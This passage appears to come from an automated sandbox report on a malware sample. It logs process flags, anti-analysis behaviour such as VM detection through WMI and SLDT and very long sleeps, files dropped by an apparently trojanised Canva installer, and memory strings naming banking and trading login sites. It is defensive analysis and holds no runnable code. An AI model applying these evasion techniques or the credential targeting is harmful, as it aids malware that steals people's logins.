Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\more.com

API/Special instruction interceptor: Address: 769C3B54

Allocates memory with a write watch (potentially for evading sandboxes)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: E90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2AD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 10A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 1270000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2C30000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 4C30000 memory reserve \| memory write watch

Contains functionality to detect virtual machines (SLDT)

Source: C:\Users\user\AppData\Roaming\sto\coml.exe

Code function: 14_2_000000A1F45CAD80 sldt word ptr [eax]

14_2_000000A1F45CAD80

Contains long sleeps (>= 3 min)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7002	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1550	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 789	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 696	Jump to behavior

Found dropped PE file which has not been started or loaded

Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\resources\is-NK1KE.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\is-UK1KN.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\resources\elevate.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\d3dcompiler_47.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\vk_swiftshader.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\is-PO2CC.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\is-N7DP5.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\vulkan-1.dll (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mebamtoyxy	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\Canva.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\ffmpeg.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\is-U9DO2.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\is-EHJBJ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\is-SR6MP.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\is-UNVOH.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ggejkdxocdbcf	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\is-B2DEV.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\Uninstall Canva.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\is-ON0A3.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\libEGL.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-6VQJV.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\libGLESv2.dll (copy)	Jump to dropped file

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6316	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2176	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3700	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6224	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6224	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6536	Thread sleep time: -59872s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2196	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2196	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6536	Thread sleep time: -41280s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6016	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 724	Thread sleep time: -922337203685477s >= -30000s

Queries disk information (often used to detect virtual machines)

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 59872	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 41280	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477

Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0
Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1!0
Source: powershell.exe, 00000004.00000002.1935712293.0000000003524000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\M<k.
Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0/
Source: svchost.exe, 0000000C.00000002.3259180253.00000210CA82B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.3260766267.00000210CFE48000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.3260822359.00000210CFE59000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1
Source: more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.0
Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
